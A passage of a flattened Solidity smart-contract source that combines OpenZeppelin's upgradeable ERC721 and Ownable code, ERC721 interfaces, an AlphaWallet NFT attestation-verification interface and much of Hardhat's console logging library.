@dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } uint256[44] private __gap; } // File @openzeppelin/contracts-upgradeable/access/[email protected] pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // File @openzeppelin/contracts/token/ERC721/[email protected] pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File @openzeppelin/contracts/token/ERC721/[email protected] pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File contracts/AddressUtil.sol /* Similar to @openzeppelin/contracts/utils/Address.sol * but we can't use that because Address.sol contains * "delegatecall" and hardhat completely denies "delegatecall" * in logic contract and throws error. Added by Oleg */ pragma solidity ^0.8.4; library AddressUtil { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } // File contracts/interface/IVerifyAttestation.sol /* Retort contract for handling offer commitment and 'transmogrification' of NFTs */ /* AlphaWallet 2021 */ pragma solidity ^0.8.4; struct ERC721Token { address erc721; uint256 tokenId; bytes auth; // authorisation; null if underlying contract doesn't support it } interface IVerifyAttestation { function verifyNFTAttestation(bytes memory attestation, address attestorAddress, address sender) external pure returns(ERC721Token[] memory tokens, string memory identifier, address payable subject, bool isValid); function verifyNFTAttestation(bytes memory attestation) external pure returns(ERC721Token[] memory tokens, string memory identifier, address payable subject, address attestorAddress); function getNFTAttestationTimestamp(bytes memory attestation) external pure returns(string memory startTime, string memory endTime); function checkAttestationValidity(bytes memory nftAttestation, ERC721Token[] memory commitmentNFTs, string memory commitmentIdentifier, address attestorAddress, address sender) external pure returns(bool passedVerification, address payable subjectAddress); } // File hardhat/[email protected] pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { 